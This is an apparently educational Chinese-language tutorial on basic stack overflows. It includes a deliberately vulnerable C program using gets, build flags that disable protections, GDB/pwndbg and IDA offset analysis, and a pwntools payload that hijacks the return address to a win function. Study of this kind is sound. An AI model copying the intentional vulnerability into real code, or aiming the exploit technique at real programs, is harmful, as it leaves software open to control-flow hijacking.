C0nvR3 Lab

Search workspace

Keyboard shortcuts

Ctrl + K
Open search
Esc
Close menu or dialog

How2pwn\1-0-stack_overflow\index.md

1-0 Stack_overflow

Table of contents

栈溢出基础

前面的文章分别介绍了寄存器、汇编、栈帧与调用约定 现在我们把它们串起来:如果程序存在栈缓冲区越界,攻击者能把程序带到哪里去?

这篇文章的目标是让你亲手完成一次最简栈溢出——覆盖返回地址,让程序跳到不该执行的地方。读完本文后,你将能够自己编译漏洞程序、用 GDB 定位偏移、用 Python 构造输入,为后续的 ret2text、ret2shellcode 等专项文章做好准备

什么是栈溢出

当程序向栈上的局部数组写入超过其容量的数据时,多出的部分会覆盖相邻内存。如果覆盖范围到达保存的返回地址,ret 指令就会取到一个由攻击者控制的值,从而跳转到任意地址。

回顾计算机组成中的栈帧布局:

高地址
+-------------------------+
| 返回地址                 |  由 call 压入
+-------------------------+
| 调用者保存的 RBP         |
+-------------------------+
| 局部变量、数组、填充      |  ← 数组从这里开始,向高地址方向写入
+-------------------------+
低地址

C 语言不检查数组边界。如果 buffer[32] 的写入没有长度限制,多出的字节就会沿栈"向上"覆盖,依次破坏局部变量、旧 RBP,最终触及返回地址。一旦 ret 执行,CPU 就会跳到攻击者选定的位置。

演示程序

这里提供一个demo

点击查看
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

/*
 * win — 正常情况下不会被调用的函数
 * 溢出利用的目标就是让程序"意外"进入这里。
 */
void win(void)
{
    printf("\n=================================\n");
    printf("  你成功了!程序跳转到了 win 函数。\n");
    printf("=================================\n\n");
    exit(0);
}

/*
 * vulnerable — 包含栈溢出漏洞的函数
 *
 * gets 不检查目标缓冲区大小,超出 buffer[32] 的输入
 * 会持续写入栈上更高地址,可能覆盖:
 *   - 其他局部变量
 *   - 保存的 RBP
 *   - 返回地址
 */
void vulnerable(void)
{
    char buffer[32];

    printf("请输入一些文本:");

    /* gets 不会限制读取长度 */
    gets(buffer);

    printf("你输入了:%s\n", buffer);
}

/*
 * print_info — 打印可用于偏移计算的信息
 */
void print_info(void)
{
    printf("-----------------\n");
    printf("win() 地址:%p\n", (void *)win);
    printf("-----------------\n\n");
}

int main(int argc, char **argv)
{
    print_info();
    vulnerable();

    printf("\n程序正常退出。\n");
    return 0;
}

vulnerable 中 gets 会一直读取直到换行,完全不管 buffer 只有 32 字节。win 是一个正常情况下永远不会被调用的函数,我们的目标就是通过溢出覆盖返回地址,让程序"意外"进入 win

用以下命令构建:

gcc -O0 -g -fno-stack-protector -z execstack -no-pie \
    -o main main.c

脚本会生成 main(关闭 Canary、PIE、NX,方便观察和利用) 你可以先尝试一下输入32字节以内的数据是否会出问题,再尝试输入40+字节大小的数据看看是否会出问题

用 pwndbg 观察溢出

启动gdb

gdb main

pwndbg 启动后会自动显示寄存器、栈和反汇编上下文。在 vulnerable 函数设置断点:

disassemble vulnerable          # 缩写:disas vulnerable

你会看到类似下面的指令:

   0x00000000004011f5 <+32>:    lea    rax,[rbp-0x20]  ;buffer 位于 rbp-0x20
   0x00000000004011f9 <+36>:    mov    rdi,rax
   0x00000000004011fc <+39>:    mov    eax,0x0
   0x0000000000401201 <+44>:    call   0x401090 <gets@plt>

这里的关键信息是:buffer 起始于 RBP-0x20(32 字节偏移),而返回地址位于 RBP+8。因此从 buffer[0] 到返回地址需要跨越的字节数约为:

0x20(buffer 到 RBP)+ 8(RBP 本身)= 0x28 = 40 字节

**注意:**不同编译器版本、优化选项和对齐策略可能导致实际偏移不同。请以你自己反汇编的结果为准,不要直接套用这里的数字。

在 GDB 中实际操作:

break *0x0000000000401206   # 在 call gets 后下断点,此处可用 b 缩写代替 break
run                         # 缩写 r

程序等待输入时,输入一串可辨识的字符(如 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA),然后用 pwndbg 命令观察栈:

pwndbg> stack
00:0000│ rax rsp 0x7fffffffda50 ◂— 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
... ↓            3 skipped
04:0020│ rbp     0x7fffffffda70 ◂— 'AAAAAAAAAAAAAAAA'
05:0028│+008     0x7fffffffda78 ◂— 'AAAAAAAA'
06:0030│+010     0x7fffffffda80 —▸ 0x7fffffffdb00 ◂— 0x7fff00000000
07:0038│+018     0x7fffffffda88 ◂— 0x1ffffdbb8

你应该能看到输入字符串覆盖了栈上的大片区域。pwndbg 会高亮显示栈中被修改的值(对应的值也会被解析成字符串),如果继续执行(continue,缩写 c),ret 会取出被覆盖的返回地址并尝试跳转,导致崩溃

   0x401214 <vulnerable+63>    mov    rdi, rax               RDI => 0x4020a4 ◂— 0x85e593bee8a0bde4
   0x401217 <vulnerable+66>    mov    eax, 0                 EAX => 0
   0x40121c <vulnerable+71>    call   printf@plt                  <printf@plt>

   0x401221 <vulnerable+76>    nop
   0x401222 <vulnerable+77>    leave
 ► 0x401223 <vulnerable+78>    ret                                <0x4141414141414141>

这里看到ret的目标是 0x4141414141414141 ,也就是刚刚输入的那一串A对应的 ASCII 码

精确定位返回地址偏移

知道"大概在 40 字节附近"还不够,我们需要精确到字节。两种常用方法:

手动推算

从反汇编确认 bufferRBP 的距离,再加上 8 字节(RBP 的大小)就是返回地址的偏移。例如:

buffer 位于 RBP-0x20  → 32 字节到 RBP
RBP 占 8 字节           → 再加 8 字节
返回地址偏移 = 32 + 8 = 40 字节

在 IDA 中从变量声明确认

将编译好的 demo-no-protection 拖入 IDA

int vulnerable()
{
  char buffer[32]; // [rsp+0h] [rbp-20h] BYREF

  printf("请输入一些文本:");
  gets(buffer);
  return printf("你输入了:%s\n", buffer);
}

这里的 v1[32] 后面注释的就是该变量与 rsp rbp的相对位置关系,v1位于 rbp-0x20的位置,加上 saved rbp 的八字节就是 0x28 ,四十字节,我们也可以双击v1变量查看该函数的栈

-0000000000000020 // Use data definition commands to manipulate stack variables and arguments.
-0000000000000020 // Frame size: 20; Saved regs: 8; Purge: 0
-0000000000000020
-0000000000000020     _BYTE buffer;
-000000000000001F     // padding byte
-000000000000001E     // padding byte
-000000000000001D     // padding byte
-000000000000001C     // padding byte
-000000000000001B     // padding byte
-000000000000001A     // padding byte
-0000000000000019     // padding byte
-0000000000000018     // padding byte
-0000000000000017     // padding byte
-0000000000000016     // padding byte
-0000000000000015     // padding byte
-0000000000000014     // padding byte
-0000000000000013     // padding byte
-0000000000000012     // padding byte
-0000000000000011     // padding byte
-0000000000000010     // padding byte
-000000000000000F     // padding byte
-000000000000000E     // padding byte
-000000000000000D     // padding byte
-000000000000000C     // padding byte
-000000000000000B     // padding byte
-000000000000000A     // padding byte
-0000000000000009     // padding byte
-0000000000000008     // padding byte
-0000000000000007     // padding byte
-0000000000000006     // padding byte
-0000000000000005     // padding byte
-0000000000000004     // padding byte
-0000000000000003     // padding byte
-0000000000000002     // padding byte
-0000000000000001     // padding byte
+0000000000000000     _QWORD __saved_registers;
+0000000000000008     _UNKNOWN *__return_address;
+0000000000000010
+0000000000000010 // end of stack variables

这里可以直接的看出来变量之间的位置关系。

用 pwntools 生成循环模式

打开 python REPL 交互

from pwn import *
cyclic(0x50)

可以得到输出

b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaa'

我们把引号中的部分复制出来,输入到程序中进行调试

 ► 0x401223 <vulnerable+78>    ret                                <0x6161616c6161616b>
    ↓

发现返回地址 0x6161616c6161616b 用 pwntools 反查偏移:

from pwn import *
cyclic_find(0x6161616c6161616b)

控制 RIP:第一次成功劫持

现在我们知道返回地址在偏移 40 处。接下来要做的很简单:在输入的第 40 字节开始写入目标地址 我们提前通过 print_info() 函数知道了 win() 的地址,当然你也可以通过 gdb 或 IDA 得到(这里没有开启地址随机化保护)

在 pwntools 中构造攻击输入:

from pwn import *

# 目标:跳转到 win 函数
win_addr = 0x401196     # 替换为你实际获取的地址

# 构造 payload:40 字节填充 + win 地址(小端序)
payload = b'A' * 40 + p64(win_addr)

# 写入文件供 GDB 调试,或直接通过管道发给程序
with open('payload.bin', 'wb') as f:
    f.write(payload + b'\n')

在 GDB 中验证:

run < payload.bin       # 缩写:r < payload.bin
pwndbg> r < payload.bin
Starting program: /home/converter258/workplace/syc/recruitment/task7/overflow/main < payload.bin
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
-----------------
win() 地址:0x401196
-----------------

请输入一些文本:你输入了:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�@

=================================
  你成功了!程序跳转到了 win 函数。
=================================

[Inferior 1 (process 28695) exited normally]

此时程序不应崩溃,而是打印出 win 函数中的成功信息。这说明你已经成功控制了程序的执行流。

看到 win 函数的输出,恭喜——你完成了第一次栈溢出利用

理解这背后发生了什么

整个过程可以拆成三步:

  1. 溢出写入gets 把超过 32 字节的数据全部写入栈,依次覆盖了填充字节、旧 RBP,最终用我们构造的地址替换了原来的返回地址。

  2. 函数返回vulnerable 执行 leave; retleave 恢复 RSPRBPret 从栈顶弹出返回地址并加载到 RIP。但由于返回地址已被覆盖,RIP 获得的是 win 的地址。

  3. 控制流转移:CPU 从 win 的入口开始取指执行,程序进入本不该到达的路径。

常见问题与调试技巧

偏移不对

如果你按 40 字节偏移构造 payload 却没有成功,先确认反汇编中的实际偏移。在 pwndbg 中用 stack 20 观察栈,找输入字符串起始位置,再计算到返回地址的距离。

段错误但不是目标地址

崩溃时 RIP 显示的值可能有多种情况:偏移少算了(地址整体偏移了几个字节)、多算了(地址被截断),或者地址本身写错了字节序。用 info registers rip(缩写 i r rip)查看崩溃时的实际值,与预期对比。

小端序

x86-64 是小端序,p64(0x401156) 在内存中的字节排列是 \x56\x11\x40\x00\x00\x00\x00\x00。如果手动构造地址,不要写反。

栈对齐

某些 glibc 函数(尤其是使用 movaps 指令的函数)要求栈 16 字节对齐。如果你的 payload 跳转到 system 后崩溃在 movaps,可以尝试在 payload 中跳过一个 ret 指令(多执行一次 ret)来调整对齐,或使用 p64(ret_addr) 加在目标地址前。这个技巧在 ret2libc 中会详细展开。

pwntools 基础速查

from pwn import *

p64(n)           # 整数 → 8 字节小端
cyclic(n)              # 生成 n 字节循环模式
cyclic_find(offset)  # 查偏移

# 连接程序
io = process('./demo')
io.sendline(payload)
io.interactive()

练习

练习 1:确认偏移

用你本机编译的 demo,分别通过反汇编、IDA 栈帧分析、pwndbg stack 和 pwntools cyclic 四种方法找出 buffer 到返回地址的精确偏移,结果是否一致?

参考思路

反汇编中找到 lea rax, [rbp-0x??] 获取 buffer 到 RBP 的距离;在 IDA 中打开 vulnerable 函数,左侧栈帧标注中的 var_?? 即 buffer 偏移(如 var_20 表示 RBP-0x20),往上依次是保存的 RBP(s)和返回地址(r);pwndbg 的 stack 命令直观看到输入数据在栈上的位置;cyclic 方法给出动态验证。四种方法得出的数字应当一致。

练习 2:跳转到不同目标

win 函数的地址改为程序中其他函数的地址(如 main),观察程序行为。如果再跳回 main,会发生什么?

参考思路

跳回 main 通常会导致程序再次执行 vulnerable,形成循环。但如果栈已经被破坏,第二次调用可能立即崩溃。这也能帮助你理解"控制 RIP"不等于"程序照常运行"——栈状态已经不正常了。

Terminal

C0nvR3 Lab terminal ready. Type help for commands.